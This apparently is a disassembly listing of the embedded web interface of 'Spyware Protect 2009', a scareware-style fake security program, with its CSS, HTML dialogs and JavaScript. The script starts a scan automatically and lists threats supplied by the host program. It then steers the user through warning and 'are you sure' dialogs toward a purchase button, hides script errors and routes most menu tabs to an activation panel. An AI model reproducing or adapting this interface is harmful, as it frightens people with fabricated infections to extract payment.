		db '    padding:0 0 0 12px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.updBaseCell {',0Dh,0Ah
		db '    margin:0 0 0 3px;',0Dh,0Ah
		db '    width:84px;',0Dh,0Ah
		db '    height:23px;',0Dh,0Ah
		db '    text-align:center;',0Dh,0Ah
		db '    vertical-align:middle;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.updBaseText {',0Dh,0Ah
		db '    color:#fff!important;',0Dh,0Ah
		db '    font-size:10px!important;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.updBase span {',0Dh,0Ah
		db '    font-size:10px!important;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanerActionButton {',0Dh,0Ah
		db '    width:90px;',0Dh,0Ah
		db '    text-align:center;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.scanButStart {',0Dh,0Ah
		db 9,'width:98px;',0Dh,0Ah
		db 9,'height:27px;',0Dh,0Ah
		db '    background:url(scaner-action-button-bg.gif) no-repeat;',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#fff;',0Dh,0Ah
		db '    cursor:hand;',9,0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tabTextBg {',0Dh,0Ah
		db '    width:658px;',0Dh,0Ah
		db '    margin:9px 0 0 0;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.tabTextBgPadding {',0Dh,0Ah
		db '    padding:7px 7px 7px 7px;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tabTextBg span.header, p{',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tabTextBg span{',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '    color:#4e4e4e;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.tabTextBg p {',0Dh,0Ah
		db '    font-weight:normal;',0Dh,0Ah
		db '}',0Dh,0Ah
		db '.activeBut {',0Dh,0Ah
		db 9,'width:190px;',0Dh,0Ah
		db 9,'height:27px;',0Dh,0Ah
		db '    background:url(activate-button-bg.gif) no-repeat;',0Dh,0Ah
		db '    font-size:12px;',0Dh,0Ah
		db '    font-family:Verdana,sans-serif;',0Dh,0Ah
		db '    font-weight:bold;',0Dh,0Ah
		db '    color:#fff;',0Dh,0Ah
		db '    cursor:hand;',9,0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.virusInfo {',0Dh,0Ah
		db 9,'background: url(',27h,'virusinfo-active.gif',27h,') no-repeat;',0Dh,0Ah
		db 9,'overflow:hidden;',0Dh,0Ah
		db 9,'position:absolute;',0Dh,0Ah
		db 9,'left:310px;',0Dh,0Ah
		db 9,'top:270px;',0Dh,0Ah
		db 9,'width:541px;',0Dh,0Ah
		db 9,'height:244px;',0Dh,0Ah
		db 9,'z-index:2;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.warningDialog {',0Dh,0Ah
		db 9,'background: url(',27h,'warning.gif',27h,') no-repeat;',0Dh,0Ah
		db 9,'overflow:hidden;',0Dh,0Ah
		db 9,'position:absolute;',0Dh,0Ah
		db 9,'left:310px;',0Dh,0Ah
		db 9,'top:210px;',0Dh,0Ah
		db 9,'width:541px;',0Dh,0Ah
		db 9,'height:244px;',0Dh,0Ah
		db 9,'z-index:2;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.warningDialogActive',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'background: url(',27h,'warning-active.gif',27h,') no-repeat;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.purchaseDialog',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'background: url(',27h,'purchase.gif',27h,') no-repeat;',0Dh,0Ah
		db 9,'overflow:hidden;',0Dh,0Ah
		db 9,'position:absolute;',0Dh,0Ah
		db 9,'left:310px;',0Dh,0Ah
		db 9,'top:250px;',0Dh,0Ah
		db 9,'width:541px;',0Dh,0Ah
		db 9,'height:244px;',0Dh,0Ah
		db 9,'z-index:3;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.purchaseDialogActive {',0Dh,0Ah
		db 9,'background: url(',27h,'purchase-active.gif',27h,') no-repeat;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '.sureDialog {',0Dh,0Ah
		db 9,'background: url(',27h,'sure-active.gif',27h,') no-repeat;',0Dh,0Ah
		db 9,'overflow:hidden;',0Dh,0Ah
		db 9,'position:absolute;',0Dh,0Ah
		db 9,'left:310px;',0Dh,0Ah
		db 9,'top:290px;',0Dh,0Ah
		db 9,'width:541px;',0Dh,0Ah
		db 9,'height:244px;',0Dh,0Ah
		db 9,'z-index:4;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'div#content { position: relative; z-index: 1;}',0Dh,0Ah
		db 'img#bg { margin-top:8px;}',0Dh,0Ah
		db '-->',0Dh,0Ah
		db '</style>',0Dh,0Ah
		db '<!--[if IE 6]>',0Dh,0Ah
		db '<style type="text/css">',0Dh,0Ah
		db '#bg { z-index: -1; }',0Dh,0Ah
		db '</style>',0Dh,0Ah
		db '<![endif]-->',0Dh,0Ah
		db '<script src="JS/HtmlControl.js"></script>',0Dh,0Ah
		db '<script type="text/javascript">',0Dh,0Ah
		db '//external.SetTitle("Spyware Protect 2009");',0Dh,0Ah
		db 'external.Show(940, 603);',0Dh,0Ah
		db 'document.onselectstart =',0Dh,0Ah
		db '    function () { return false; };',0Dh,0Ah
		db 'function noError(){return true;}',0Dh,0Ah
		db 'window.onerror = noError;',0Dh,0Ah
		db 0Dh,0Ah
		db 9,0Dh,0Ah
		db ' ',0Dh,0Ah
		db 0Dh,0Ah
		db 'function init()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'var tab1text = document.getElementById(',27h,'tab1text',27h,');',0Dh,0Ah
		db 9,'var tab2text = document.getElementById(',27h,'tab2text',27h,');',0Dh,0Ah
		db 9,'var tab3text = document.getElementById(',27h,'tab3text',27h,');',0Dh,0Ah
		db 9,'var tab4text = document.getElementById(',27h,'tab4text',27h,');',0Dh,0Ah
		db 9,'var tab5text = document.getElementById(',27h,'tab5text',27h,');',0Dh,0Ah
		db 9,'var tab1 = document.getElementById(',27h,'tab1',27h,');',0Dh,0Ah
		db 9,'var tab2 = document.getElementById(',27h,'tab2',27h,');',0Dh,0Ah
		db 9,'var tab3 = document.getElementById(',27h,'tab3',27h,');',0Dh,0Ah
		db 9,'var tab4 = document.getElementById(',27h,'tab4',27h,');',0Dh,0Ah
		db 9,'var tab5 = document.getElementById(',27h,'tab5',27h,');',0Dh,0Ah
		db 9,'scan_panel = document.getElementById(',27h,'scan-panel',27h,');',0Dh,0Ah
		db 9,'settings_panel = document.getElementById(',27h,'settings-panel',27h,')'
		db ';',0Dh,0Ah
		db 9,'update_panel = document.getElementById(',27h,'update-panel',27h,');',0Dh,0Ah
		db 9,'activate_panel = document.getElementById(',27h,'activate-panel',27h,')'
		db ';',0Dh,0Ah
		db 9,'help_panel = document.getElementById(',27h,'help-panel',27h,');',0Dh,0Ah
		db 0Dh,0Ah
		db 9,'virus_table = document.getElementById(',27h,'virusTable',27h,');',0Dh,0Ah
		db 9,'scroll_table = document.getElementById(',27h,'scrollRezultTable',27h,')'
		db ';',0Dh,0Ah
		db 9,'scan_status = document.getElementById(',27h,'IDstatusmessage',27h,');',0Dh
		db 0Ah
		db 9,'scan_file = document.getElementById(',27h,'IDscanedfile',27h,');',0Dh,0Ah
		db 9,'scan_total = document.getElementById(',27h,'IDtotal',27h,');',0Dh,0Ah
		db 9,'scan_threats = document.getElementById(',27h,'IDthreats',27h,');',0Dh,0Ah
		db 9,0Dh,0Ah
		db 9,'progress_bar = document.getElementById(',27h,'progressBar',27h,'); ',0Dh,0Ah
		db 9,'progress_percent = document.getElementById(',27h,'progressPercent',27h
		db ');',0Dh,0Ah
		db 0Dh,0Ah
		db 9,'scan_button = document.getElementById(',27h,'scanButton',27h,');',0Dh,0Ah
		db 9,0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db ' ',9,'purchaseActive = false;',0Dh,0Ah
		db ' ',9,'warningActive = false;',0Dh,0Ah
		db 9,'scanned_files = 0;',0Dh,0Ah
		db 9,'scanned_threats = 0;',0Dh,0Ah
		db 9,'activeMenu = ',27h,27h,';',0Dh,0Ah
		db 9,'prevSel = tab1text;',0Dh,0Ah
		db 9,'prevMenu = scan_panel;',0Dh,0Ah
		db 9,'prevBut = tab1;',0Dh,0Ah
		db 9,'scanMode = false;',0Dh,0Ah
		db 9,'onMenuClick(',27h,'tab1',27h,');',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'function onMenu(id)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 0Dh,0Ah
		db 9,'if(activeMenu == id || scanMode == true) return;',0Dh,0Ah
		db 0Dh,0Ah
		db 9,'if(prevSel != ',27h,27h,') prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah
		db 9,'switch(id)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah
		db 9,9,9,'prevSel = tab1text;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
		db 9,9,9,'prevSel = tab2text;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
		db 9,9,9,'prevSel = tab3text;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
		db 9,9,9,'prevSel = tab4text;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
		db 9,9,9,'prevSel = tab5text;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,'};',0Dh,0Ah
		db 9,'prevSel.className = ',27h,'menuTextTry',27h,';',0Dh,0Ah
		db 9,0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function onMenuClick(id)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'if(id == activeMenu || scanMode == true) return;',0Dh,0Ah
		db 9,0Dh,0Ah
		db 9,'if(prevBut != ',27h,27h,') prevBut.className = ',27h,'but',27h,';',0Dh,0Ah
		db 9,'if(prevMenu != ',27h,27h,') prevMenu.style.display = ',27h,'none',27h,';',0Dh,0Ah
		db 9,0Dh,0Ah
		db 9,'switch(id)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'case ',27h,'tab1',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab1;',0Dh,0Ah
		db 9,9,9,'prevMenu = scan_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db '/*',9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab2;',0Dh,0Ah
		db 9,9,9,'prevMenu = settings_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab3;',0Dh,0Ah
		db 9,9,9,'prevMenu = update_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab4;',0Dh,0Ah
		db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab5;',0Dh,0Ah
		db 9,9,9,'prevMenu = help_panel;',0Dh,0Ah
		db 9,9,'break;*/',0Dh,0Ah
		db 9,9,'case ',27h,'tab2',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab2;',0Dh,0Ah
		db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab3',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab3;',0Dh,0Ah
		db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab4',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab4;',0Dh,0Ah
		db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'tab5',27h,':',0Dh,0Ah
		db 9,9,9,'prevBut = tab5;',0Dh,0Ah
		db 9,9,9,'prevMenu = activate_panel;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,'};',0Dh,0Ah
		db 9,'prevBut.className = ',27h,'butSelected',27h,';',0Dh,0Ah
		db 9,'prevMenu.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,'prevSel.className=',27h,'menuText',27h,';',0Dh,0Ah
		db 9,'activeMenu = id;',0Dh,0Ah
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'function addVirusTable(name, severity, description)',0Dh,0Ah
		db '{',0Dh,0Ah
		db '    row = virus_table.insertRow(-1);',0Dh,0Ah
		db '    cell1 = row.insertCell(-1);',0Dh,0Ah
		db '    cell2 = row.insertCell(-1);',0Dh,0Ah
		db '    cell3 = row.insertCell(-1);',0Dh,0Ah
		db 0Dh,0Ah
		db '    cell1.innerHTML = ',27h,'<div class="rezultTablePath"><span clas'
		db 's="verticalAlignMiddle">',27h,'+name+',27h,'</span></div>',27h,';',0Dh,0Ah
		db '    cell1.className = ',27h,'rezultTableCell1 verticalAlignTop',27h,';',0Dh
		db 0Ah
		db '    cell2.innerHTML = ',27h,'<img style="float:left;" class="vertica'
		db 'lAlignMiddle" src="alert-icon-small.gif"  width="14" height="13" '
		db 'border="0" /> <span class="color1 verticalAlignMiddle">',27h,'+sever'
		db 'ity+',27h,'</span>',27h,';',0Dh,0Ah
		db '    cell2.className = ',27h,'rezultTableCell2 verticalAlignTop',27h,';',0Dh
		db 0Ah
		db '    cell3.innerHTML = ',27h,'<div class="color2"><a href="javascript'
		db ':showVirusDescription(\',27h,27h,'+name+',27h,'\',27h,',\',27h,27h,'+severity+',27h,'\'
		db 27h,',\',27h,27h,'+description+',27h,'\',27h,');">',27h,'+description+',27h,'</a></div>'
		db 27h,';',0Dh,0Ah
		db '    cell3.className = ',27h,'rezultTableCell3 verticalAlignTop',27h,';',0Dh
		db 0Ah
		db '    scanned_threats = scanned_threats + 1;',0Dh,0Ah
		db '    scan_threats.innerHTML = scanned_threats;',0Dh,0Ah
		db '    ',0Dh,0Ah
		db '    //scroll_table.scrollTop = 99999;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function clearVirusTable()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'for(i=virus_table.rows.length-1; i > -1; i--)',0Dh,0Ah
		db 9,9,'virus_table.deleteRow(i); ',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function setScanStatus(status)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'scan_status.innerHTML = status;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function setScanFile(filename)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'scan_file.innerHTML = filename;',0Dh,0Ah
		db 9,'scanned_files = scanned_files+1;',0Dh,0Ah
		db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function setProgressBar(percent)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'progress_percent.innerHTML = percent + ',27h,'%',27h,';',0Dh,0Ah
		db 9,'if(percent == 100)',0Dh,0Ah
		db 9,9,'progress_bar.style.display = ',27h,'none',27h,';',0Dh,0Ah
		db 9,'else',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'progress_bar.style.width = (100 - percent) + ',27h,'%',27h,';',0Dh,0Ah
		db 9,9,'progress_bar.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,'}',9,0Dh,0Ah
		db 0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function onScanButtonClick()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'external.scanButtonClick();',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function scanStart()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'setScanStatus(',27h,'Scanning computer',27h,');',9,0Dh,0Ah
		db 9,'setProgressBar(0);',0Dh,0Ah
		db 9,'clearVirusTable();',0Dh,0Ah
		db 9,'scanButton.innerHTML = "Stop scan";',0Dh,0Ah
		db 9,'scanMode=true;',0Dh,0Ah
		db 9,'scanned_files = 0;',0Dh,0Ah
		db 9,'scanned_threats = 0;',0Dh,0Ah
		db 9,'scan_total.innerHTML = scanned_files;',0Dh,0Ah
		db 9,'scan_threats.innerHTML = scanned_threats;',0Dh,0Ah
		db 9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function scanStop()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'setScanStatus(',27h,'Scan complete',27h,');',9,0Dh,0Ah
		db 9,'setProgressBar(100);',0Dh,0Ah
		db 9,'scanButton.innerHTML = "Start scan";',0Dh,0Ah
		db 9,'scanMode=false;',9,0Dh,0Ah
		db 9,'hideVirusDescription();',0Dh,0Ah
		db 9,'if(scanned_threats>0) warningDialog(',27h,'show',27h,');',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function showPurchase()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function showVirusDescription(name, severity, description)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'document.getElementById(',27h,'threatName',27h,').innerHTML = name;',0Dh,0Ah
		db 9,'document.getElementById(',27h,'riskLevel',27h,').innerHTML = severity;'
		db 0Dh,0Ah
		db 9,'document.getElementById(',27h,'threatDescription',27h,').innerHTML = d'
		db 'escription; ',0Dh,0Ah
		db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'blo'
		db 'ck',27h,'; ',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function hideVirusDescription()',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'document.getElementById(',27h,'virusInfo',27h,').style.display=',27h,'non'
		db 'e',27h,'; ',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'function warningDialog(mode)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'dialog = document.getElementById(',27h,'warningDialog',27h,');',0Dh,0Ah
		db 9,'switch(mode)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
		db 9,9,9,'if(purchaseActive == false)',0Dh,0Ah
		db 9,9,9,'{',0Dh,0Ah
		db 9,9,9,9,'dialog.className = ',27h,'warningDialog warningDialogActive',27h,';'
		db 0Dh,0Ah
		db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,9,9,9,'scanMode=true;',0Dh,0Ah
		db 9,9,9,9,'warningActive=true;',0Dh,0Ah
		db 9,9,9,'}',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
		db 9,9,9,'warningActive=false;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.className = ',27h,'warningDialog',27h,';',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,9,9,'warningActive=false;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function purchaseDialog(mode)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'dialog = document.getElementById(',27h,'purchaseDialog',27h,');',0Dh,0Ah
		db 9,'switch(mode)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
		db 9,9,9,'if(warningActive == false)',0Dh,0Ah
		db 9,9,9,'{',0Dh,0Ah
		db 9,9,9,9,'dialog.className = ',27h,'purchaseDialog purchaseDialogActive',27h,';'
		db 0Dh,0Ah
		db 9,9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,9,9,9,'scanMode=true;',0Dh,0Ah
		db 9,9,9,9,'purchaseActive = true;',0Dh,0Ah
		db 9,9,9,'}',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
		db 9,9,9,'purchaseActive = false;',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'noactive',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.className = ',27h,'purchaseDialog',27h,';',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function sureDialog(mode)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'dialog = document.getElementById(',27h,'sureDialog',27h,');',0Dh,0Ah
		db 9,'switch(mode)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'case ',27h,'show',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.className = ',27h,'sureDialog',27h,';',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'block',27h,';',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,9,'case ',27h,'hide',27h,':',0Dh,0Ah
		db 9,9,9,'dialog.style.display = ',27h,'none',27h,';',0Dh,0Ah
		db 9,9,'break;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'function onWarningDialog(but)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'if(but == 0)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah
		db 9,9,'purchaseDialog(',27h,'show',27h,');',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db 9,'else',0Dh,0Ah
		db 9,'if(but == 1)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'warningDialog(',27h,'noactive',27h,');',0Dh,0Ah
		db 9,9,'prevDialog = ',27h,'warningDialog',27h,';',0Dh,0Ah
		db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function onPurchaseDialog(but)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'if(but == 0)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'external.purchase();',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db 9,'else',0Dh,0Ah
		db 9,'if(but == 1)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'purchaseDialog(',27h,'noactive',27h,');',0Dh,0Ah
		db 9,9,'prevDialog = ',27h,'purchaseDialog',27h,';',0Dh,0Ah
		db 9,9,'sureDialog(',27h,'show',27h,');',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function onSureDialog(but)',0Dh,0Ah
		db '{',0Dh,0Ah
		db 9,'if(but == 0)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,9,'warningDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,9,'purchaseDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,9,'scanMode=false;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db 9,'else',0Dh,0Ah
		db 9,'if(but == 1)',0Dh,0Ah
		db 9,'{',0Dh,0Ah
		db 9,9,'sureDialog(',27h,'hide',27h,');',0Dh,0Ah
		db 9,9,'if( prevDialog == ',27h,'purchaseDialog',27h,' ) {purchaseDialog(',27h,'s'
		db 'how',27h,');}',0Dh,0Ah
		db 9,9,'if( prevDialog == ',27h,'warningDialog',27h,' ) {warningDialog(',27h,'sh'
		db 'ow',27h,');}',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db '</script>',0Dh,0Ah
		db '</head>',0Dh,0Ah
		db '<body onload="init();setScanStatus(',27h,'Ready',27h,');external.scanBu'
		db 'ttonClick();">',0Dh,0Ah
		db '<div onclick="this.style.display=',27h,'none',27h,';" id="virusInfo" st'
		db 'yle="display:none;" class="virusInfo">',0Dh,0Ah
		db '<div style="position: relative;left: 30px;top: 40px;margin-right:'
		db ' 40px;font-size:10px;font-family:Verdana,sans-serif;">',0Dh,0Ah
		db 'Threat: <span id="threatName"></span><br/><br/>Risk Level: <span '
		db 'id="riskLevel"></span><br/><br/>Description: <span id="threatDesc'
		db 'ription"></span>',0Dh,0Ah
		db '</div>',0Dh,0Ah
		db '</div>',0Dh,0Ah
		db 0Dh,0Ah
		db '<div id="warningDialog" style="display:none;" class="warningDialo'
		db 'g">',0Dh,0Ah
		db '<div style="position: relative;left: 65px;top: 107px;width:198px;'
		db 'height:28px;cursor:hand;" onclick="onWarningDialog(0);"></div>',0Dh,0Ah
		db '<div style="position: relative;left: 273px;top: 79px;width:198px;'
		db 'height:28px;cursor:hand;" onclick="onWarningDialog(1);"></div>',0Dh,0Ah
		db '</div>',0Dh,0Ah
		db 0Dh,0Ah
		db '<div id="purchaseDialog" style="display:none;" class="purchaseDia'
		db 'log">',0Dh,0Ah
		db '<div style="position: relative;left: 65px;top: 187px;width:198px;'
		db 'height:28px;cursor:hand;" onclick="onPurchaseDialog(0);"></div>',0Dh
		db 0Ah
		db '<div style="position: relative;left: 273px;top: 159px;width:198px'
		db ';height:28px;cursor:hand;" onclick="onPurchaseDialog(1);"></div>',0Dh
		db 0Ah
		db '</div>',0Dh,0Ah
		db 0Dh,0Ah
		db '<div id="sureDialog" style="display:none;" class="sureDialog">',0Dh,0Ah
		db '<div style="position: relative;left: 65px;top: 107px;width:198px;'
		db 'height:28px;cursor:hand;" onclick="onSureDialog(0);"></div>',0Dh,0Ah
		db '<div style="position: relative;left: 273px;top: 79px;width:198px;'
		db 'height:28px;cursor:hand;" onclick="onSureDialog(1);"></div>',0Dh,0Ah
		db '</div>',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db '    <div id="commonBlock">',0Dh,0Ah
		db 0Dh,0Ah
		db '        <div id="headerBlock" onmousedown="external.DragWindow()"'
		db '>',0Dh,0Ah
		db '                <div class="logoBlock">',0Dh,0Ah
		db '                    <span class="logo">Spyware Protect</span> <sp'
		db 'an class="logoYear">2009</span>',0Dh,0Ah
		db '                    <br/>',0Dh,0Ah
		db '                    <span class="logoSlogan">Protecting every sec'
		db 'ond...</span>',0Dh,0Ah
		db '                </div>',0Dh,0Ah
		db '                <div class="headerRightPart">',0Dh,0Ah
		db '                    <div class="clobut">',0Dh,0Ah
		db '                    ',9,'<a href="javascript:external.Close()"><im'
		db 'g src="close-button.gif" border=0/></a>',0Dh,0Ah
		db '                    </div>',0Dh,0Ah
		db '                </div>',0Dh,0Ah
		db '        </div>',0Dh,0Ah
		db 0Dh,0Ah
		db '        <div id="contentBlock">',0Dh,0Ah
		db '                                     ',0Dh,0Ah
		db '            <div id="contentBlock-leftColumn">',0Dh,0Ah
		db '                 <div class="leftColumnTab">',0Dh,0Ah
		db '                    <div id="tab1" class="but"><div class="tab1" '
		db 'onmouseover="onMenu(',27h,'tab1',27h,');" onclick="onMenuClick(',27h,'tab1'
		db 27h,');"><span id="tab1text" class="menuText">Perform scan</span'
		db '></div></div> ',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
		db '                 <div class="leftColumnTab menuTopMargin">',0Dh,0Ah
		db '                    <div id="tab2" class="but"><div class="tab2" '
		db 'onmouseover="onMenu(',27h,'tab2',27h,');" onclick="onMenuClick(',27h,'tab2'
		db 27h,');"><span id="tab2text" class="menuText">Adjust settings</s'
		db 'pan></div></div>                                           ',0Dh,0Ah
		db '                 </div>',0Dh,0Ah
